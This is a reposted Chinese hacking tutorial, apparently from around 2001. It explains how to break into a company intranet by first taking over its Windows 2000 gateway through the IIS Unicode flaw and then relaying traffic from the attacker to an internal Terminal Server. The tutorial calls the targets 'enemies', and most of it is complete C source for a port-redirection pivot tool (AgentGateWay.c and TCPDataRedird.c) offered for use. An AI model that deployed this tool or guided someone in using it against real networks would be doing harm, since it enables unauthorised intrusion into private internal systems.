突破TCP-IP过滤/防火墙进入内网(一)

类别:VC语言 点击:0 评论:0 推荐:

现在很多企业或者公司基本上网方式基本上都是申请一条连接到Internet的线路,宽带、DDN、ADSL、ISDN等等,然后用一台服务器做网关,服务器两块网卡,一块是连接到Internet,另一块是连接到内网的HUB或者交换机,然后内网的其他机器就可以通过网关连接到Internet。

   也许有些人会这样想,我在内网之中,我们之间没有直接的连接,你没有办法攻击我。事实并非如此,在内网的机器同样可能遭受到来自Internet的攻击,当然前提是攻击者已经取得网关服务器的某些权限,呵呵,这是不是废话?其实,Internet上很多做网关的服务器并未经过严格的安全配置,要获取权限也不是想象中的那么难。

   Ok!废话就不说了,切入正题。我们的目标是用我们的TermClient[M$终端服务客户端]连接到敌人内网的TermServer机器。M$的终端服务是一个很好的远程管理工具,不是吗?呵呵。没有做特别说明的话,文中提到的服务器OS都为windows 2000。服务器为Linux或其他的话,原理也差不多,把程序稍微修改就行了。

<<第一部分:利用TCP socket数据转发进入没有防火墙保护的内网>>

假设敌人网络拓扑如下图所示,没有安装防火墙或在网关服务器上做TCP/IP限制。

  我们的目标是连接上敌人内网的Terminal Server[192.168.1.3],因为没有办法直接和他建立连接,那么只有先从它的网关服务器上下手了。假如敌人网关服务器是M$的windows 2k,IIS有Unicode漏洞[现在要找些有漏洞的机器太容易了,但我只是scripts kid,只会利用现成的漏洞做些简单的攻击:(555),那么我们就得到一个网关的shell了,我们可以在那上面运行我们的程序,虽然权限很低,但也可以做很多事情了。Ok!让我们来写一个做TCP socket数据转发的小程序,让敌人的网关服务器忠实的为我[202.1.1.1]和敌人内网的TermServer[192.168.1.3]之间转发数据。题外话:实际入侵过程是先取得网关服务器的权限,然后用他做跳板,进一步摸清它的内部网络拓扑结构,再做进一步的入侵,现在敌人的网络拓扑是我们给他设计的,哈哈。

  攻击流程如下:

<1>在网关服务器202.2.2.2运行我们的程序AgentGateWay,他监听TCP 3389端口[改成别的,那我们就要相应的修改TermClient了]等待我们去连接。

<2>我们202.1.1.1用TermClient连接到202.2.2.2:3389。

<3>202.2.2.2.接受202.1.1.1的连接,然后再建立一个TCP socket连接到自己内网的TermServer[192.168.1.3]

<4>这样我们和敌人内网的TermServer之间的数据通道就建好了,接下来网关就忠实的为我们转发数据啦。当我们连接到202.2.2.2:3389的时候,其实出来的界面是敌人内网的192.168.1.3,感觉怎么样?:)

程序代码如下:

/**********************************************************************

Module Name:AgentGateWay.c

Date:2001/4/15

CopyRight(c) eyas

说明:端口重定向工具,在网关上运行,把端口重定向到内网的IP、PORT,

   就可以进入内网了

   sock[0]==>sClient  sock[1]==>sTarget

**********************************************************************/

#include <winsock2.h>

#include <stdio.h>

#include "TCPDataRedird.c"

 

#define TargetIP TEXT("192.168.1.3")

#define TargetPort (int)3389

#define ListenPort (int)3389//监听端口

 

#pragma comment(lib,"ws2_32.lib")

 

int main()

{

  WSADATA wsd;

  SOCKET sListen=INVALID_SOCKET,//本机监听的socket

       sock[2];

  struct sockaddr_in Local,Client,Target;

  int iAddrSize;

  HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

      hThreadT2C=NULL;//T2C=TargetToClient

  DWORD dwThreadID;

 

  __try

  {

     if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

    {

       printf("\nWSAStartup() failed:%d",GetLastError());

       __leave;

    }

     sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

     if(sListen==INVALID_SOCKET)

    {

       printf("\nsocket() failed:%d",GetLastError());

       __leave;

    }

 

     Local.sin_addr.s_addr=htonl(INADDR_ANY);

     Local.sin_family=AF_INET;

     Local.sin_port=htons(ListenPort);

 

     Target.sin_family=AF_INET;

     Target.sin_addr.s_addr=inet_addr(TargetIP);

     Target.sin_port=htons(TargetPort);

 

     if(bind(sListen,(struct sockaddr *)&Local,sizeof(Local))==SOCKET_ERROR)

    {

       printf("\nbind() failed:%d",GetLastError());

       __leave;

    }

     if(listen(sListen,1)==SOCKET_ERROR)

    {

       printf("\nlisten() failed:%d",GetLastError());

       __leave;

    }

    //scoket循环

    while(1)

    {

       printf("\n\n*************Waiting Client Connect to**************\n\n");

       iAddrSize=sizeof(Client);

       //get socket sClient

       sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);

       if(sock[0]==INVALID_SOCKET)

       {

         printf("\naccept() failed:%d",GetLastError());

         break;

       }

       printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr),

           ntohs(Client.sin_port));

       //create socket sTarget

       sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

       if(sock[1]==INVALID_SOCKET)

       {

         printf("\nsocket() failed:%d",GetLastError());

         __leave;

       }

       //connect to target port

       if(connect(sock[1],(struct sockaddr *)&Target,sizeof(Target))==SOCKET_ERROR)

       {

         printf("\nconnect() failed:%d",GetLastError());

         __leave;

       }

       printf("\nconnect to target 3389 success!");

       //创建两个线程进行数据转发

       hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

       hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

       //等待两个线程结束

       WaitForSingleObject(hThreadC2T,INFINITE);

       WaitForSingleObject(hThreadT2C,INFINITE);

       CloseHandle(hThreadC2T);

       CloseHandle(hThreadT2C);

       closesocket(sock[1]);

       closesocket(sock[0]);   

       printf("\n\n*****************Connection Close*******************\n\n");

    }//end of sock外循环

  }//end of try

  __finally

  {

     if(sListen!=INVALID_SOCKET) closesocket(sListen);

     if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

     if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

    if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

    if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

    WSACleanup();

  }

  return 0;

}

/*************************************************************************

Module:TCPDataRedird.c

Date:2001/4/16

CopyRight(c) eyas<[email protected]>

HomePage:www.patching.net

Thanks to shotgun

说明:TCP socket数据转发,sock[0]==>sClient  sock[1]==>sTarget

*************************************************************************/

#define BuffSize 20*1024 //缓冲区大小20k

//此函数负责从Client读取数据,然后转发给Target

DWORD WINAPI TCPDataC2T(SOCKET* sock)

{ 

  int iRet,

    ret=-1,//select 返回值

    iLeft,

    idx,

     iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize

  char szSendToTargetBuff[BuffSize]={0},

      szRecvFromClientBuff[BuffSize]={0};

  fd_set fdread,fdwrite;

  printf("\n\n*****************Connection Active*******************\n\n");

    while(1)

       {       

         FD_ZERO(&fdread);

         FD_ZERO(&fdwrite);

         FD_SET(sock[0],&fdread);

         FD_SET(sock[1],&fdwrite);

         if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

         {

           printf("\nselect() failed:%d",GetLastError());

           break;

         }

         //printf("\nselect() return value ret=%d",ret);

         if(ret>0)

         {

           //sClinet可读,client有数据要发送过来

           if(FD_ISSET(sock[0],&fdread))

           {

             //接收sock[0]发送来的数据

             iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);

             if(iRet==SOCKET_ERROR)

             {

               printf("\nrecv() from sock[0] failed:%d",GetLastError());

               break;

             }

             else if(iRet==0)

               break;

             printf("\nrecv %d bytes from sClinet.",iRet);

             //把从client接收到的数据存添加到发往target的缓冲区

             memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);

             //刷新发往target的数据缓冲区当前buff大小

             iSTTBCS+=iRet;

             //清空接收client数据的缓冲区

             memset(szRecvFromClientBuff,0,BuffSize);

           }

           //sTarget可写,把从client接收到的数据发送到target

           if(FD_ISSET(sock[1],&fdwrite))

           {

             //转发数据到target的3389端口

             iLeft=iSTTBCS;

             idx=0;

             while(iLeft>0)

             {

               iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);

               if(iRet==SOCKET_ERROR)

               {

                 printf("\nsend() to target failed:%d",GetLastError());

                 break;

               }

               printf("\nsend %d bytes to target",iRet);

               iLeft-=iRet;

               idx+=iRet;

             }

             //清空缓冲区

             memset(szSendToTargetBuff,0,BuffSize);

             //重置发往target的数据缓冲区当前buff大小

             iSTTBCS=0;

           }

         }//end of select ret  

         Sleep(1);

       }//end of data send & recv循环

    return 0;

}

//此函数负责从target读取数据,然后发送给client

DWORD WINAPI TCPDataT2C(SOCKET* sock)

{ 

  int iRet,

    ret=-1,//select 返回值

    iLeft,

    idx,

     iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize

  char szRecvFromTargetBuff[BuffSize]={0},

      szSendToClientBuff[BuffSize]={0};

  fd_set fdread,fdwrite;

 

  while(1)

  {

     FD_ZERO(&fdread);

     FD_ZERO(&fdwrite);

     FD_SET(sock[0],&fdwrite);

     FD_SET(sock[1],&fdread);

     if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

    {

       printf("\nselect() failed:%d",GetLastError());

       break;

    }

    if(ret>0)

    {

       //sTarget可读,从target接收数据

       if(FD_ISSET(sock[1],&fdread))

       {

         //接收target返回数据

         iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);

         if(iRet==SOCKET_ERROR)

         {

           printf("\nrecv() from target failed:%d",GetLastError());

           break;

         }

         else if(iRet==0)

           break;

         printf("\nrecv %d bytes from target",iRet);

         //把从target接收到的数据添加到发送到client的缓冲区

         memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);

         //清空接收target返回数据缓冲区

         memset(szRecvFromTargetBuff,0,BuffSize);

         //刷新发送到client的数据缓冲区当前大小

         iSTCBCS+=iRet;

       }

       //client可写,发送target返回数据到client

       if(FD_ISSET(sock[0],&fdwrite))

       {

         //发送target返回数据到client

         iLeft=iSTCBCS;

         idx=0;

         while(iLeft>0)

         {

           iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);

           if(iRet==SOCKET_ERROR)

           {

             printf("\nsend() to Client failed:%d",GetLastError());

             break;

           }

           printf("\nsend %d bytes to Client",iRet);

           iLeft-=iRet;

           idx+=iRet;

         }

         //清空缓冲区

         memset(szSendToClientBuff,0,BuffSize);

         iSTCBCS=0;

       }

    }//end of select ret

    Sleep(1);

  }//end of while

  return 0;

}


本文地址:http://com.8s8s.com/it/it3290.htm